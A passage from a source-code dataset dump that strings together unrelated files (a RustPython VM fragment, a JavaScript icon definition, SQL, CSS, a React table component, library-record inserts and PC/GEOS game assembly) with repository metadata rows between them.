Some(vm.ctx.new_dict())
};
Ok(PyRef {
obj: PyObject::new(self, cls, dict),
_payload: PhantomData,
})
} else {
let subtype = vm.to_pystr(&cls.obj)?;
let basetype = vm.to_pystr(&class.obj)?;
Err(vm.new_type_error(format!("{} is not a subtype of {}", subtype, basetype)))
}
}
}
pub trait PyObjectPayload: Any + fmt::Debug + 'static {
fn as_any(&self) -> &dyn Any;
}
impl<T: PyValue + 'static> PyObjectPayload for T {
#[inline]
fn as_any(&self) -> &dyn Any {
self
}
}
pub enum Either<A, B> {
A(A),
B(B),
}
/// This allows a builtin method to accept arguments that may be one of two
/// types, raising a `TypeError` if it is neither.
///
/// # Example
///
/// ```
/// use rustpython_vm::VirtualMachine;
/// use rustpython_vm::obj::{objstr::PyStringRef, objint::PyIntRef};
/// use rustpython_vm::pyobject::Either;
///
/// fn do_something(arg: Either<PyIntRef, PyStringRef>, vm: &VirtualMachine) {
/// match arg {
/// Either::A(int)=> {
/// // do something with int
/// }
/// Either::B(string) => {
/// // do something with string
/// }
/// }
/// }
/// ```
impl<A, B> TryFromObject for Either<PyRef<A>, PyRef<B>>
where
A: PyValue,
B: PyValue,
{
fn try_from_object(vm: &VirtualMachine, obj: PyObjectRef) -> PyResult<Self> {
obj.downcast::<A>()
.map(Either::A)
.or_else(|obj| obj.clone().downcast::<B>().map(Either::B))
.map_err(|obj| {
vm.new_type_error(format!(
"must be {} or {}, not {}",
A::class(vm),
B::class(vm),
obj.class()
))
})
}
}
pub trait PyClassDef {
const NAME: &'static str;
const DOC: Option<&'static str> = None;
}
impl<T> PyClassDef for PyRef<T>
where
T: PyClassDef,
{
const NAME: &'static str = T::NAME;
const DOC: Option<&'static str> = T::DOC;
}
pub trait PyClassImpl: PyClassDef {
fn impl_extend_class(ctx: &PyContext, class: &PyClassRef);
fn extend_class(ctx: &PyContext, class: &PyClassRef) {
Self::impl_extend_class(ctx, class);
if let Some(doc) = Self::DOC {
class.set_str_attr("__doc__", ctx.new_str(doc.into()));
}
}
fn make_class(ctx: &PyContext) -> PyClassRef {
let py_class = ctx.new_class(Self::NAME, ctx.object());
Self::extend_class(ctx, &py_class);
py_class
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_type_type() {
// TODO: Write this test
PyContext::new();
}
}
| 30.25254 | 99 | 0.602859 |
8588f984b1b727b0ea6fda6fc1ce7517944f16bc
| 1,548 |
js
|
JavaScript
|
jam/giftF.js
|
lmeysel/fa-compatible-icons
|
0b4558bf35e3a3b7aad2772fdb4ae216c1f4eecd
|
[
"MIT"
] | null | null | null |
jam/giftF.js
|
lmeysel/fa-compatible-icons
|
0b4558bf35e3a3b7aad2772fdb4ae216c1f4eecd
|
[
"MIT"
] | null | null | null |
jam/giftF.js
|
lmeysel/fa-compatible-icons
|
0b4558bf35e3a3b7aad2772fdb4ae216c1f4eecd
|
[
"MIT"
] | null | null | null |
'use strict';
Object.defineProperty(exports, '__esModule', { value: true });
var prefix = 'jam';
var iconName = 'gift-f';
var width = 512;
var height = 512;
var ligatures = [];
var unicode = null;
var svgPathData = 'M 106.44727 -0.078125 A 85.32 85.32 0 0 0 32.742188 127.98047 L 21.330078 127.98047 A 21.33 21.33 0 0 0 0 149.31055 L 0 191.9707 A 21.33 21.33 0 0 0 21.330078 213.30078 L 149.31055 213.30078 L 149.31055 127.98047 L 106.65039 127.98047 A 42.66 42.66 0 1 1 149.31055 85.320312 L 149.31055 127.98047 L 191.9707 127.98047 L 191.9707 85.320312 A 42.66 42.66 0 1 1 234.63086 127.98047 L 191.9707 127.98047 L 191.9707 213.30078 L 319.94922 213.30078 A 21.33 21.33 0 0 0 341.2793 191.9707 L 341.2793 149.31055 A 21.33 21.33 0 0 0 319.94922 127.98047 L 308.53906 127.98047 A 85.32 85.32 0 0 0 170.64062 28.880859 A 85.32 85.32 0 0 0 106.44727 -0.078125 z M 21.330078 255.96094 L 21.330078 383.93945 A 42.66 42.66 0 0 0 63.990234 426.59961 L 149.31055 426.59961 L 149.31055 255.96094 L 21.330078 255.96094 z M 191.9707 255.96094 L 191.9707 426.59961 L 277.28906 426.59961 A 42.66 42.66 0 0 0 319.94922 383.93945 L 319.94922 255.96094 L 191.9707 255.96094 z ';
exports.definition = {
prefix: prefix,
iconName: iconName,
icon: [
width,
height,
ligatures,
unicode,
svgPathData
]};
exports.jamGiftF = exports.definition;
exports.prefix = prefix;
exports.iconName = iconName;
exports.width = width;
exports.height = height;
exports.ligatures = ligatures;
exports.unicode = unicode;
exports.svgPathData = svgPathData;
| 53.37931 | 968 | 0.717054 |
e766f83c86148c475ecb3c7b41486b7875f67fb6
| 58 |
sql
|
SQL
|
Basic Select/Select-By-ID.sql
|
davyzhang3/HackerRank-SQL-Challenges-Solutions
|
5500ac1c5aedf79959d93f2f73f2a8919f5b2b9a
|
[
"MIT"
] | null | null | null |
Basic Select/Select-By-ID.sql
|
davyzhang3/HackerRank-SQL-Challenges-Solutions
|
5500ac1c5aedf79959d93f2f73f2a8919f5b2b9a
|
[
"MIT"
] | null | null | null |
Basic Select/Select-By-ID.sql
|
davyzhang3/HackerRank-SQL-Challenges-Solutions
|
5500ac1c5aedf79959d93f2f73f2a8919f5b2b9a
|
[
"MIT"
] | null | null | null |
# Author: Dawei Zhang
select *
from city
where ID=1661;
| 11.6 | 21 | 0.706897 |
fc416d5d7307bcea9be74b60173705145f84af1d
| 1,340 |
css
|
CSS
|
Bubbles Background/style.css
|
bilalsaad87/HTML-Projects
|
165258c5a1d857b997f3e72f2d55822fea07d4c8
|
[
"Apache-2.0"
] | null | null | null |
Bubbles Background/style.css
|
bilalsaad87/HTML-Projects
|
165258c5a1d857b997f3e72f2d55822fea07d4c8
|
[
"Apache-2.0"
] | null | null | null |
Bubbles Background/style.css
|
bilalsaad87/HTML-Projects
|
165258c5a1d857b997f3e72f2d55822fea07d4c8
|
[
"Apache-2.0"
] | null | null | null |
@import url('https://fonts.googleapis.com/css?family=Muli&display=swap');
* {
box-sizing: border-box;
}
body {
background: linear-gradient(#e66465, #9198e5);
font-family: 'Muli', sans-serif;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
overflow: hidden;
margin: 0;
}
.container {
position: absolute;
top: 20%;
left: 10%;
width: 80vw;
}
.container h1 {
font-size: 5rem;
color: rgba(83, 44, 44, 0.9);
text-align: center;
align-items: center;
justify-content: center;
}
.container p {
color: #fff;
background-color: rgba(0, 0, 0, 0.7);
padding: 10px;
border-radius: 5px;
justify-content: center;
text-align: justify;
}
.container h1 {
color: #fff;
}
/* Style Bubbles */
.bubbles{
position:absolute;
width:100%;
height: 100%;
z-index:0;
overflow:hidden;
top:0;
left:0;
}
.bubble{
position: absolute;
bottom:-100px;
width:40px;
height: 40px;
background:#f1f1f1;
border-radius:50%;
opacity:0.5;
animation: rise 10s infinite ease-in-out;
}
@keyframes rise{
0%{
bottom:-100px;
transform:translateX(0);
}
50%{
transform:translate(100px);
}
100%{
bottom:1080px;
transform:translateX(-200px);
}
}
| 16.75 | 73 | 0.589552 |
9be22d98ace4356e919d72b1f3a27850307e90d0
| 3,044 |
js
|
JavaScript
|
src/pages/project/components/List.js
|
xxdfly/kirin-devops-front
|
690af7f7db5c3eafccbd9ae8ce06de42528951aa
|
[
"MIT"
] | null | null | null |
src/pages/project/components/List.js
|
xxdfly/kirin-devops-front
|
690af7f7db5c3eafccbd9ae8ce06de42528951aa
|
[
"MIT"
] | null | null | null |
src/pages/project/components/List.js
|
xxdfly/kirin-devops-front
|
690af7f7db5c3eafccbd9ae8ce06de42528951aa
|
[
"MIT"
] | null | null | null |
import React, { PureComponent } from 'react'
import PropTypes from 'prop-types'
import { Table, Modal, Divider } from 'antd'
import { Trans, withI18n } from '@lingui/react'
import Link from 'umi/link'
import styles from './List.less'
const { confirm } = Modal
@withI18n()
class List extends PureComponent {
handleMenuClick = (record, e) => {
const { onDeleteItem, onEditItem, i18n } = this.props
if (e.key === '1') {
onEditItem(record)
} else if (e.key === '2') {
confirm({
title: i18n.t`Are you sure delete this record?`,
onOk() {
onDeleteItem(record.id)
},
})
}
}
handleUpdateClick = (record) => {
const { onEditItem } = this.props
onEditItem(record)
}
handleDeleteClick = (record) => {
const { onDeleteItem, i18n } = this.props
confirm({
title: i18n.t`Are you sure delete this record?`,
onOk() {
onDeleteItem(record.id)
},
})
}
render() {
const { onDeleteItem, onEditItem, i18n, ...tableProps } = this.props
const columns = [
{
title: <Trans>ProjectID</Trans>,
dataIndex:'id',
key:'id',
},
{
title: <Trans>Project Name</Trans>,
dataIndex: 'projectName',
key: 'projectName',
render: (text, record) => <Link to={`project/${record.id}`}>{text}</Link>,
},
{
title: <Trans>Project Description</Trans>,
dataIndex: 'projectDesc',
key: 'projectDesc',
},
{
title: <Trans>Project Type</Trans>,
dataIndex: 'projectType',
key: 'projectType',
},
{
title: <Trans>Create Time</Trans>,
dataIndex: 'gmtCreate',
key: 'gmtCreate',
},
{
title: <Trans>Plan Deploy Time</Trans>,
dataIndex: 'devType',
key: 'devType',
},
{
title: <Trans>Creator</Trans>,
dataIndex: 'creator',
key: 'creator',
},
{
title: <Trans>Project Status</Trans>,
dataIndex: 'projectStatus',
key: 'projectStatus',
},
{
title: <Trans>Operation</Trans>,
key: 'operation',
// fixed: 'right',
render: (text, record) => (
<span>
<a onClick={() => this.handleUpdateClick(record)}><Trans>Modify</Trans></a>
<Divider type="vertical" />
<a onClick={() => this.handleDeleteClick(record)}><Trans>Delete</Trans></a>
</span>
)
},
]
return (
<Table
{...tableProps}
// showHeader={false}
pagination={{
...tableProps.pagination,
showTotal: total => i18n.t`Total ${total} Items`,
}}
className={styles.table}
bordered
scroll={{ x: 1200 }}
columns={columns}
simple
rowKey={record => record.id}
/>
)
}
}
List.propTypes = {
onDeleteItem: PropTypes.func,
onEditItem: PropTypes.func,
location: PropTypes.object,
}
export default List
| 23.968504 | 87 | 0.528252 |
06179a6fc209bbc8d6e9c695675e65ecdae0c927
| 9,239 |
sql
|
SQL
|
biblio_status_hist.sql
|
openbiblio/sample_data_1.0
|
a372a6fb3ce649c62617de8c0a00db2f805c8f94
|
[
"CC0-1.0"
] | null | null | null |
biblio_status_hist.sql
|
openbiblio/sample_data_1.0
|
a372a6fb3ce649c62617de8c0a00db2f805c8f94
|
[
"CC0-1.0"
] | 1 |
2018-03-06T20:31:00.000Z
|
2018-03-06T20:31:00.000Z
|
biblio_status_hist.sql
|
openbiblio/sample_data_1.0
|
a372a6fb3ce649c62617de8c0a00db2f805c8f94
|
[
"CC0-1.0"
] | null | null | null |
INSERT INTO `biblio_status_hist` (`histid`, `bibid`, `copyid`, `status_cd`, `status_begin_dt`) VALUES (178,1471,73,'in','2016-03-26 15:34:58'),(578,1479,294,'in','2015-03-02 13:49:33'),(577,1473,341,'in','2014-12-11 14:23:59'),(576,1429,253,'in','2016-03-15 08:04:06'),(575,1469,286,'in','2015-06-22 09:01:18'),(574,1473,357,'in','2014-11-05 09:55:10'),(573,1450,267,'lst','2015-07-03 19:49:56'),(572,1441,217,'mnd','2014-07-14 05:36:45'),(571,1427,235,'dis','2015-08-11 16:22:15'),(570,1386,283,'dis','2016-02-26 01:24:59'),(569,1462,232,'dis','2014-08-27 20:10:57'),(568,1422,261,'lst','2016-03-25 20:04:09'),(567,1399,331,'dis','2014-07-31 23:26:05'),(566,1469,286,'dis','2016-03-20 08:03:08'),(565,1423,362,'lst','2015-07-07 12:49:22'),(564,1385,303,'mnd','2014-07-13 02:30:18'),(563,1468,302,'lst','2015-01-13 11:34:45'),(562,1427,235,'lst','2015-04-21 00:31:31'),(561,1384,316,'dis','2015-11-16 17:21:40'),(560,1460,222,'in','2015-08-27 01:53:08'),(559,1469,250,'dis','2015-07-08 17:29:45'),(558,1484,244,'mnd','2014-10-04 09:59:57'),(557,1410,293,'mnd','2016-01-09 18:44:30'),(556,1474,273,'mnd','2015-07-18 18:37:11'),(555,1468,302,'dis','2015-12-12 01:30:16'),(554,1472,313,'dis','2015-10-12 04:23:44'),(553,1468,302,'mnd','2014-11-27 20:12:27'),(552,1443,347,'mnd','2015-07-25 02:43:39'),(551,1443,307,'mnd','2015-01-19 15:53:44'),(550,1430,219,'dis','2015-10-24 17:46:52'),(549,1472,236,'lst','2016-03-18 19:46:54'),(548,1463,268,'dis','2015-02-03 11:58:34'),(547,1474,255,'dis','2014-12-22 12:55:21'),(546,1465,270,'lst','2015-12-29 09:07:36'),(545,1377,306,'mnd','2014-10-12 08:20:33'),(544,1411,344,'dis','2014-07-17 19:29:10'),(543,1443,307,'lst','2015-05-15 20:10:47'),(542,1477,308,'mnd','2015-07-22 19:46:10'),(541,1388,359,'mnd','2015-07-25 07:31:28'),(540,1469,286,'mnd','2016-01-29 14:56:52'),(539,1399,331,'in','2015-09-16 17:11:30'),(538,1418,276,'dis','2015-01-22 04:08:11'),(537,1486,221,'dis','2014-09-22 18:36:10'),(536,1441,343,'lst','2014-09-11 07:22:07'),(535,1433,272,'in','2014-09-29 10:22:56'),(534,1399,331,'in','2015-03-08 06:15:49'),(533,1428,339,'lst','2015-10-18 14:35:14'),(532,1447,257,'in','2014-09-06 20:58:17'),(531,1446,299,'in','2015-10-23 03:40:33'),(530,1463,268,'in','2016-01-23 22:29:26'),(529,1392,349,'dis','2015-04-15 22:36:01'),(528,1446,205,'lst','2015-03-28 19:55:44'),(527,1418,240,'in','2015-01-13 12:15:29'),(526,1484,333,'mnd','2015-07-13 00:28:07'),(525,1421,206,'mnd','2015-08-06 01:33:49'),(524,1436,342,'dis','2016-02-03 17:03:29'),(523,1405,351,'dis','2015-10-28 12:56:24'),(522,1471,269,'dis','2015-04-05 19:42:17'),(521,1441,217,'mnd','2015-01-11 03:35:03'),(520,1468,353,'dis','2014-10-12 00:03:56'),(519,1441,217,'in','2016-02-19 03:24:46'),(518,1426,208,'in','2016-01-17 02:48:49'),(517,1443,307,'lst','2015-05-31 16:58:38'),(516,1403,285,'in','2015-07-14 21:09:25'),(515,1410,265,'in','2015-09-14 09:47:08'),(514,1476,275,'lst','2014-11-01 06:25:33'),(513,1461,291,'mnd','2015-12-24 20:51:33'),(512,1466,266,'in','2014-08-25 14:51:30'),(511,1483,300,'in','2014-11-11 07:38:35'),(510,1439,310,'mnd','2016-02-12 11:21:11'),(509,1458,220,'in','2015-02-21 04:46:11'),(508,1469,286,'in','2014-12-05 14:09:08'),(507,1450,267,'dis','2014-07-21 11:32:56'),(506,1462,232,'mnd','2014-11-01 17:39:33'),(505,1485,233,'dis','2015-10-19 14:03:45'),(504,1393,296,'dis','2016-02-25 00:24:09'),(503,1411,218,'in','2014-10-13 07:06:25'),(502,1477,329,'in','2015-02-06 11:52:35'),(501,1383,256,'in','2014-10-22 06:50:09'),(500,1401,325,'dis','2014-08-23 03:35:41'),(499,1390,271,'lst','2015-12-04 21:18:40'),(498,1412,336,'mnd','2015-08-19 19:18:04'),(497,1460,254,'dis','2014-11-15 16:32:54'),(496,1421,246,'in','2014-11-13 23:43:36'),(495,1483,234,'lst','2015-01-19 11:33:13'),(494,1476,304,'mnd','2015-03-31 15:16:44'),(493,1480,327,'mnd','2014-12-29 04:40:11'),(492,1378,237,'lst','2015-08-19 03:45:25'),(491,1468,274,'dis','2015-06-20 09:34:21'),(490,1466,266,'dis','2016-02-29 01:44:44'),(489,1427,356,'dis','2016-01-14 08:57:32'),(488,1390,241,'mnd','2015-02-10 21:57:37'),(487,1410,265,'in','2015-07-16 08:25:04'),(486,1458,220,'in','2014-12-17 07:29:51'),(485,1483,234,'lst','2016-03-13 19:56:11'),(484,1460,222,'mnd','2015-05-26 12:24:50'),(483,1475,230,'dis','2015-07-18 02:23:13'),(482,1452,301,'in','2015-04-12 22:26:48'),(481,1394,305,'mnd','2015-05-12 18:04:28'),(480,1375,324,'mnd','2015-12-04 14:28:33'),(479,1378,237,'lst','2015-06-24 16:08:31'),(478,1405,351,'dis','2014-08-11 01:42:13'),(477,1377,306,'mnd','2014-08-03 22:29:03'),(476,1380,263,'in','2016-01-18 15:08:18'),(475,1483,300,'mnd','2015-12-17 16:48:21'),(474,1476,304,'lst','2014-09-25 15:25:16'),(473,1412,336,'dis','2016-02-08 09:38:48'),(472,1469,286,'dis','2014-12-30 18:59:16'),(471,1399,210,'in','2015-11-07 01:37:20'),(470,1422,261,'in','2014-10-15 08:42:28'),(469,1469,340,'dis','2014-07-10 07:52:45'),(468,1423,362,'lst','2015-07-12 08:07:50'),(467,1383,224,'lst','2015-06-25 02:29:38'),(466,1476,229,'in','2014-07-29 07:00:14'),(465,1457,315,'in','2015-04-17 08:56:53'),(464,1474,255,'lst','2014-09-29 18:02:22'),(463,1414,248,'mnd','2014-10-16 04:44:58'),(462,1441,343,'mnd','2016-03-18 23:30:44'),(461,1410,265,'lst','2015-10-18 08:38:37'),(460,1384,314,'mnd','2014-11-03 15:19:15'),(459,1446,205,'lst','2015-09-23 09:10:32'),(458,1481,282,'dis','2014-07-22 05:40:05'),(457,1470,209,'mnd','2015-12-21 07:28:15'),(456,1388,359,'dis','2015-07-01 07:33:18'),(455,1480,327,'lst','2015-10-07 08:53:12'),(454,1476,355,'in','2015-09-27 10:20:05'),(453,1469,250,'mnd','2016-02-01 08:26:28'),(452,1423,362,'mnd','2015-10-29 05:57:10'),(451,1457,315,'in','2016-02-04 19:53:34'),(450,1476,275,'in','2014-08-15 14:43:14'),(449,1428,339,'dis','2015-10-25 12:19:38'),(448,1469,340,'dis','2015-07-06 01:50:53'),(447,1380,263,'dis','2014-11-05 06:21:15'),(446,1433,319,'dis','2015-09-21 13:21:38'),(445,1388,359,'mnd','2015-12-03 07:03:46'),(444,1469,340,'mnd','2014-07-17 23:03:41'),(443,1437,225,'mnd','2014-12-01 01:58:22'),(442,1445,363,'mnd','2014-11-06 19:47:58'),(441,1390,252,'dis','2015-12-29 02:52:41'),(440,1450,267,'dis','2015-08-14 20:15:45'),(439,1433,319,'in','2014-12-19 22:12:10'),(438,1408,328,'lst','2014-08-30 09:58:12'),(437,1461,291,'dis','2014-09-02 08:48:12'),(436,1461,291,'dis','2015-11-07 22:24:02'),(435,1430,352,'mnd','2014-09-13 05:19:54'),(434,1433,360,'in','2015-12-21 02:49:25'),(433,1468,274,'dis','2015-02-28 23:55:09'),(432,1452,301,'lst','2015-02-01 02:54:30'),(431,1421,206,'mnd','2015-01-08 18:39:34'),(430,1460,254,'mnd','2016-03-10 22:47:33'),(429,1413,213,'lst','2015-02-06 07:33:21'),(428,1433,360,'mnd','2014-10-18 15:56:26'),(427,1485,287,'lst','2015-06-15 07:24:54'),(426,1461,317,'dis','2015-10-01 22:07:57'),(425,1383,322,'mnd','2015-02-03 17:29:30'),(424,1426,309,'mnd','2015-12-08 16:29:32'),(423,1393,296,'in','2015-09-01 14:17:57'),(422,1430,352,'dis','2014-08-04 08:49:15'),(421,1436,251,'dis','2016-03-17 03:45:19'),(420,1468,302,'in','2016-02-09 14:09:42'),(419,1472,345,'lst','2014-09-06 06:46:57'),(418,1386,283,'lst','2015-12-05 00:22:16'),(417,1408,328,'mnd','2015-10-16 19:28:44'),(416,1446,299,'mnd','2015-03-24 16:55:45'),(415,1477,329,'dis','2015-04-02 01:17:01'),(414,1473,341,'in','2015-04-21 15:45:48'),(413,1487,284,'dis','2015-11-10 20:01:46'),(412,1456,264,'in','2015-04-05 18:28:05'),(411,1483,215,'in','2015-07-05 03:27:25'),(410,1470,209,'mnd','2014-11-27 14:16:37'),(409,1423,362,'mnd','2016-03-15 17:35:57'),(408,1474,255,'dis','2015-04-30 21:19:46'),(407,1463,242,'lst','2014-08-01 08:00:11'),(406,1383,322,'dis','2015-11-22 01:35:39'),(405,1422,261,'in','2015-09-01 20:08:36'),(404,1385,303,'dis','2014-12-25 22:26:14'),(403,1413,213,'mnd','2015-01-29 22:09:50'),(402,1481,292,'dis','2015-01-04 11:24:02'),(401,1456,298,'mnd','2015-05-06 15:24:25'),(400,1468,353,'dis','2014-10-12 01:37:57'),(399,1436,251,'in','2015-05-26 10:19:27'),(398,1403,285,'mnd','2014-11-15 02:11:34'),(397,1421,206,'lst','2015-03-30 09:41:57'),(396,1409,326,'mnd','2014-12-16 21:09:15'),(395,1452,301,'dis','2015-12-01 15:38:43'),(394,1427,356,'in','2016-01-17 23:32:43'),(393,1481,282,'lst','2014-09-01 11:40:52'),(392,1485,233,'in','2015-08-10 03:57:49'),(391,1436,251,'mnd','2015-03-27 21:58:44'),(390,1472,313,'in','2015-12-02 07:43:56'),(389,1469,286,'in','2014-10-09 22:32:59'),(388,1411,344,'lst','2016-02-15 15:15:29'),(387,1450,338,'mnd','2014-12-09 16:15:59'),(386,1380,263,'in','2014-12-17 07:39:07'),(385,1428,339,'lst','2015-08-01 04:47:17'),(384,1401,325,'mnd','2016-02-26 05:29:25'),(383,1380,263,'mnd','2016-02-01 19:57:25'),(382,1428,227,'lst','2015-08-27 12:48:12'),(381,1410,265,'dis','2016-01-15 08:27:06'),(380,1447,257,'in','2015-09-03 04:52:02'),(379,1390,252,'lst','2015-01-30 11:49:23'),(579,1397,364,'in','2016-03-26 16:25:56'),(580,1397,365,'in','2016-03-26 16:26:08'),(581,1397,366,'in','2016-03-26 16:26:16'),(582,1397,367,'in','2016-03-26 16:26:23'),(583,1419,368,'in','2016-03-26 16:26:57'),(584,1432,369,'in','2016-03-26 16:28:37'),(585,1489,370,'in','2016-03-26 16:37:58'),(586,1489,371,'in','2016-03-26 16:38:07'),(587,1489,372,'in','2016-03-26 16:38:14'),(588,1489,373,'in','2016-03-26 16:38:22'),(589,1489,374,'in','2016-03-26 16:38:28'),(590,1489,375,'in','2016-03-26 16:38:42'),(591,1489,376,'in','2016-03-26 16:38:49');
| 4,619.5 | 9,238 | 0.626366 |
0c03c5af5655c8c1bd5fd21a16df3017ebc2783f
| 26,117 |
asm
|
Assembly
|
Appl/Games/Uki/uki.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504 |
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Appl/Games/Uki/uki.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96 |
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Appl/Games/Uki/uki.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73 |
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PROJECT: Practice Project
MODULE: Uki program
FILE: uki.asm
Author Jimmy Lefkowitz, January 14, 1991
$Id: uki.asm,v 1.1 97/04/04 15:47:09 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiChooseUki
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: GLOBAL
PASS: ax = 0; only do functions
ax != 0; do full init
RETURN: Void.
DESTROYED: Nada.
PSEUDOCODE/STRATEGY:
KNOWN BUGS/SIDEFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/ 7/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiChooseUki method UkiContentClass, MSG_UKI_CHOOSE_UKI
UkiAssignFunction initGame, UkiInitGame
UkiAssignFunction validMove, UkiIsClickValidMove
UkiAssignFunction movePiece, UkiMovePiece
UkiAssignFunction adjustMoveValues, UkiAdjustMoveValues
UkiAssignFunction userInput, UkiGetMouseClick
UkiAssignFunction computerFindMove, UkiComputerFindBestMove
; Start the game, maybe
tst ax
jz done
mov ax, UKI_INIT_BOARD_SIZE
mov es:[cells], al
call UkiSetUpBoardSizeUI
mov ax, MSG_UKI_START
call ObjCallInstanceNoLock
done:
ret
UkiChooseUki endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiInitGame
DESCRIPTION: initializes all state variables for a new game
PASS: nothing
RETURN: nothing
DESTROYED: ax, bx, cx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiInitGame proc far
;CELLS = 7
;LINES = CELLS+1
;BAD_COORD = LINES
;MAXCELLS = CELLS*CELLS
mov es:[obstacles], 0
mov al, es:[cells]
shr al
mov bl, al
mov cx, mask GDN_PLAYER2
call UkiSetNode
dec al
mov cx, mask GDN_PLAYER1
call UkiSetNode
dec bl
mov cx, mask GDN_PLAYER2
call UkiSetNode
inc al
mov cx, mask GDN_PLAYER1
call UkiSetNode
initLoop:
; keep initting the obstcles until the first guy can go...
call UkiInitObstacles
call UkiComputerMoveSearch ; find best move
; if the bestMoveCoord has an x coordinate of BAD_COORD then
; there were no possible moves for player1 so re-init the obstacles
cmp es:[bestMoveCoord].x_pos,BAD_COORD
je initLoop
; if no obstacles got put up, try again...
; unless of course there aren't supposed to be any
tst es:[obstacles]
jnz done ; have obstacles, ok we are done
; ok, no obstacles, if maxObstacles is zero then we are not supposed
; to have obstacles so we are done, else try again
tst es:[maxObstacles]
jnz initLoop
done:
ret
UkiInitGame endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiInitObstacles
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
put up a symmetric pattern of obstacles four at a time,
up to maxObstacles
(could be 0)
CALLED BY: UkiInitGame
PASS: nothing
RETURN: Void.
DESTROYED: Nada.
PSEUDOCODE/STRATEGY:
for each of the upper left quadrant squares, randomly decide to
add an obstacle, if yes then duplicate it symmetrically in other
3 quadrants until we are done with all the upper left quadrant or have
reached the maximum number of obstacles
KNOWN BUGS/SIDEFFECTS/IDEAS: ????
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 6/18/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiInitObstacles proc near
; start at 0,0
mov ax, 0
mov bx, ax
; init number of obstacles to zero
mov es:[obstacles], ax
initloop:
; if the node already has an obstacle then we are being called
; again from UkiInitGame because they board set up didn't allow
; a first move, so just blank out the obstacle and continue as if
; this was a blank space all along
; if the current node is not empty (zero) then don't put an
; obstacle there
call UkiGetNode
cmp cl, mask GDN_OBSTACLE
jne notObstacle
mov dl, 0
call UkiDoObstacle
notObstacle:
tst cx
jnz cont
; else randomly decide to add an obstacle or not using a weighting
; factor of OBSTACLE_FREQEUNCY
mov dx, es:[obstacles]
cmp dx, es:[maxObstacles]
jge done
call FastRandom
and dx, UKI_OBSTACLE_FREQUENCY
tst dx
jnz cont
; we have decided to add an obstacles do add it symetrically to all
; four quadrants
mov dl, mask GDN_OBSTACLE
call UkiDoObstacle
cont:
; we are only doing the upper quadrant do calculate the x and y
; to which we need to loop through, not effecient, but whose counting?
push bx
inc al
mov bl, es:[cells]
shr bl
; inc bl
cmp al, bl
pop bx
jl initloop
inc bl
mov al, es:[cells]
shr al
; inc al
cmp bl, al
mov al, 0
jl initloop
done:
ret
UkiInitObstacles endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiDoObstacle
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: adds four obstacles the given one in the first quadrant and
then added the other 3 symmetric ones in the other three
quadrants
CALLED BY: GLOBAL
PASS: ax, bx = cell coordinate in first quadrant
dl = value to put in the 4 cells (GameDataNode type)
RETURN: Void.
DESTROYED: Nada.
PSEUDOCODE/STRATEGY:
KNOWN BUGS/SIDEFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 11/30/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiDoObstacle proc near
uses ax, bx
.enter
mov cl, dl
call UkiSetNode
push bx
push ax
mov al, es:[cells]
dec al
sub al, bl
mov bl, al
pop ax
mov cl, dl
call UkiSetNode
push bx
mov bl, es:[cells]
dec bl
sub bl, al
mov al, bl
pop bx
mov cl, dl
call UkiSetNode
pop bx
mov cl, dl
call UkiSetNode
tst dl ; if we are clearing things out
jz done ; then don't update number of obstacles
add es:[obstacles], 4
done:
.leave
ret
UkiDoObstacle endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiAdjustMoveValues
DESCRIPTION: change the parameters to calculate moves value as game
goes along
PASS: nothing
RETURN: nothing
DESTROYED: nothing
